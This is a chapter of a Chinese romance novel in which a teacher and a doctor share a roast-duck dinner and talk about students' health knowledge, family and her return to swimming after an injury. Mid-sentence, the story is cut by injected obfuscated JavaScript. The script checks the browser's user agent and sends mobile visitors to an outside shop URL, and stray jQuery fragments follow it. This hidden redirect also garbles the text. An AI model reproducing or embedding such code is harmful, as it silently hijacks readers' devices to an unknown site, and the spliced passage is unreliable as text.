“啊?要排两个多小时?”
“哎呀,让你早点儿过来取号你不信。”
“又不是就这一家能吃,要不换一家?”
“我就是想吃这家才过来的。”
“那我陪你去那儿等着呗。”
“两个小时呢。”
“那你说怎么办?”
一对小情侣相互嗔怪着从严蕊棠面前离开了。
“下一组,四十八号。”服务员在前面喊号。
严蕊棠赶紧抬手回应,“这里。”
没想到生意这么火爆,还好听了付老师的话,中午就把座位订好了,不然指定排不上。
服务员把人带到座位,取走了放在桌上的预约牌,“有什么需要的扫码点单就可以了。”
“有什么推荐的菜吗?”
“两位的话可以点我们的双人套餐,主菜六选四,”服务员一边说一边打开了菜单本,“半只烤鸭,两个热菜,一个蔬菜,赠送甜品和水果,饮料单点。”
“主菜可以选哪些?”
“您有大众点评吧?可以直接团购我们家的套餐,然后在里面选。”
“好,我来看一下。”
“鸭架您想怎么吃?”
“有什么吃法?”
“煲汤、爆炒还有椒盐。”
“煲汤行吗?”严蕊棠问梁遇煊。
“可以。”
见梁遇煊也拿起手机扫码,严蕊棠赶紧伸手在他面前拦了一下,“今天我来,不能每次都蹭你的饭。”
“也没有每次吧。”
“有的有的,我今天有事情请教你,还是我来。”
“那就不客气了,谢谢。”
“嗯,不用客气。”
“你要问我什么事情啊?”
“等一下哈,等我先把单下掉,饮料你要喝什么?”
“乌龙茶吧。”
“好。”
下完单之后,严蕊棠放下手机,见梁遇煊正盯着自己。
“是学校里的事情吗?”
“嗯,”严蕊棠没组织好语言,想了一下才说,“上次送邱怀瑜去医院之后,我们班突然有好几个女生来找我问问题。”
“问什么?”
“问我高中生能不能去看妇科?”
“什么症状啊?”
“大多都是月经不调之类的和痛经之类的,”见隔壁桌默默投来视线,严蕊棠下意识就将声音往下压了压,“说是怕影响考试。”
“那你怎么回答她们的?”
“我说当然可以,直接到医院挂号就能看。我还说,要是不好意思,也可以先用医院的app网上问诊再去。”
“那没什么问题。”
“但是我发现大家好像对自己的身体都不是很了解。”
“哪里不了解?”
“我问她们有没有小腹坠胀,有孩子指着胃的位置问我哪里是小腹。”
“你怎么回答的?”
“然后我才发现,”严蕊棠放慢语速,一字一顿地说,“我竟然也不知道。”
梁遇煊眼皮微微动了几下,笑了出来,“哦?是嘛。”
“我就当场百度了一下,原来是从肚脐往下到耻骨。”严蕊棠停顿了一下,“然后我就又继续查了耻骨在哪里。”
梁遇煊刚舒展开的嘴角又上扬了一下,“那你的求知欲和行动力算很强了。”
“但你上次明明就用那个模型讲解过,对不对?这些都应该是常识吧,我怎么前面刚听后面就忘?”
“你教学生也不是只教一次就全都满分吧,我们上学那会儿也背了好久才记住每块骨头的名字。”
“嗯,忽然发现自己也好不到哪儿去,没资格嫌弃我的学生了。”
“这个倒也常见,很多来我这儿看病的,都只知道自己肚子疼,到底是上面还是下面,具体也讲不清楚,还得做检查。有查完之后才发现应该去挂消化内科和肝胆科的。四五十岁的成年人都这样,更别说还在上学的孩子了。”
“你遇到这样的病人,会让她们去稍微学习一下怎么分辨吗?”
“学点儿医学知识会有帮助,但人真的不舒服的时候,光靠理论还是分辨不出来。就算是医生,也是以检查数据为准。”
“那怎么办?就随他们去吗?”
“相比理论上的知识,我觉得更重要的是他们的意愿,愿不愿意去医院、去检查,以及有没有这个条件。”
“什么条件?”
“看病要请假,还要能挂得上号,特别专家号,排好久都不一定约得上。这些可能比记住阑尾在左边还是右边更重要。”
“所以光办讲座也没什么用。”
“不是这么说,”梁遇煊摇摇头,“学校和家庭教育都很重要,像上次那样的活动,我觉得很有意义。只不过,我们不可能指望只靠一次讲座有效解决问题,但这是必要的一环。”
“那你觉得还有什么可以做的吗?”
“我觉得这不是你一个人的责任,当然,你有这样的想法很好,只是从实际效果的角度来看,可能还要看学校的态度吧,比如学生不舒服的时候能不能让他们顺利请到假,校医院能不能做好衔接工作,以及家长能不能抽空来陪护。”
“嗯,”严蕊棠点点头,“也就是说要有可以信任的人,让他们可以安心休息。”
“是这样的。”
“这么一说,我好像舒服点儿了。”
“我觉得作为班主任,你已经做得很好了。别说老师了,其实我那儿挺多学生是自己一个人去看病的。像你刚刚问我的,高中能不能看妇科,当然能,但如果涉及手术或住院治疗,就得联系监护人了。与其说是能不能,更多人想的是这样做对不对。”
“这有病治病还有不对的?”严蕊棠不解。
“我之前给你看病的时候,你快吓死了吧。”
“……我不是吓死了,只是疼死了。还有……”
“还有什么?”
“还有觉得挺丢脸的。这么大人了,只是学个游泳还能摔到住院,还住到妇产科去了。”
“但是住过了,也就没什么,对吧?”
“嗯,不过我也不想再去了。”
“哦哦,”梁遇煊低头,“我也希望病人不要再回来。”
“两位打扰了,这边为您送上烤鸭,小心不要被烫到。”
严蕊棠的注意力一下子就被油光锃亮的烤鸭皮和浓郁香甜的蜂蜜糖浆味给吸引过去了,“哇,好香!”
服务将餐盘一一从餐车上移到餐桌,一下子就铺满了。
“两位的菜都上齐了,请尽情享用,有任何问题都可以按铃喊我们,很高兴为您服务。”
严蕊棠用热毛巾擦了擦手,迫不及待地就去扒面饼皮。快要碰到时,想起对面还坐着一个人,飞快地抬眼看了一下梁遇煊,见他还在慢条斯理地擦手。
“你先吃吧。”梁遇煊说。
“好。”
刚蒸好的面饼皮热腾腾香喷喷软乎乎,先铺一层黄瓜,挑一块肥瘦相间的鸭肉,再盖上两片薄脆略带油脂的鸭皮,卷起来,从甜面酱里蘸一圈,送到嘴里,简直了,人生圆满!
“哇,好吃!”严蕊棠幸福地眯起眼,上了一天破班换这么一顿晚饭,没白上,这是她应得的。
“你不吃大葱啊?”
“不吃。”
“哦,我也不吃。”
“虽然标准吃法要加大葱,但我吃不了那个辣味。”
“每个人的口味都不同,觉得怎么好吃就怎么来。”
“我好喜欢烤鸭的面饼,蘸酱干吃我也能吃好多。”
“我也喜欢面饼。”
“哎,你知道你们医院门口有家很好吃的烧饼吗?我妈说每天队伍都可长了。”
“我知道,我弟特别吃那家的。”
“你弟,”严蕊棠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596964|204679||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
反应了一下,“他开学了吗?”
“开了,上周我和我爸妈一起送他去学校的。”
“大学怎么样啊?”
“呵,”梁遇煊轻笑一声,“他说床太小,塞不下他一米八的大高个儿,要跟我们一起回家。”
“哈哈,还真是。别说他,我第一天到宿舍报道的时候也傻了,床那么高又那么窄,第一晚我都不敢翻身,几乎一夜没睡着。怎么都没有学生跟学校提意见呢?”
“我提过。”
“真的?”
“我们班联名给校长信箱投了意见,但后来石沉大海也没下文。”
“学校肯定不愿意花钱再换床,所以我一到周末就往家里跑,大城市的苦是一点儿都吃不下。”
“回来也挺好。”
“是啊,每天还能吃上我爸做的饭?”
“你家是你爸做饭?”
“对,我爸全家最闲,就得他做饭。”严蕊棠想了想又加了一句,“但我也会分担洗碗的。”
“真好,我和我弟一直都是吃食堂。”
“医院食堂吗?我以前小时候也经常吃。我爸那时候还比较忙,这几年快退居二线了才有我一口饭吃的。”
“你爸爸是做什么的?”
“也是老师,二中的。”
“那你还是女承父业。”
“你爸不是医院的吧?”
“不是,我爸做医疗器械的。”
“哦,那也算业内相关人士。”
“鸭汤,要吗?”梁遇煊盛好一碗汤,问她。
“好的。”
梁遇煊用大勺又在汤里舀出了些鸭肉,加了进去,“小心烫。”
“谢谢。”
光盘行动,水足饭饱,一看时间,竟然快到九点。差不多该散场了,不然一会儿就该来让她赶紧回家的连环夺命call了。
出了店门,两人又一起往外面走。
“你怎么来的?”梁遇煊问她。
“打车过来的。”
“今天没骑车?”
“没有。你呢?”
“我今天骑自行车过来的。”
“没开车?”
“赶着晚高峰怕堵在路上,还是骑车方便一些。”
“你明天早上骑车去上班?你家住哪片儿啊?离这里远不远?”
“不远,骑车就二十分钟,正好运动一下。那你打车吧,我等你上车再走。”
“没事,不用啦,你先回去吧,反正我也不会迷路。”
“你看看车来要多久,我也不急这几分钟。”
“好。”
附近商圈这个时段还是有点儿小堵,司机正从两公里以外的地方往这儿开,显示需要等七分钟。
“我去那个门口等。”严蕊棠指了指出口。
“好,走吧。”
“梁医生,我还有一个问题想问你。”
“什么问题?”
“你说,我什么时候能再下水啊?”
“下水?”
“我是说,我今年还能学游泳吗?”
“你最近有检查过伤口愈合情况吗?”
“没有诶,看不见我就没管了。”严蕊棠想起上次检查貌似还是刚出院需要按时抹药那会儿。
“洗澡的时候伤口附近有什么异物感吗?”
“好像没有吧。”
“赶上雨天呢?”
“好像也没什么特别的。”
“我觉得应该没问题了,不过泳池会用消毒水,你可以先试一下,如果有任何不舒服的地方,都可以到医院来找我。”
“好。”
“你不去上次那家了吧?”
“不去,我最近在看另外一家。”
“好,那你还是尽量找一对一教学吧,学得好也安全一些。”
“嗯,我也想尽快学会,不然可惜了我今年新买的泳衣,就穿了那么一次。”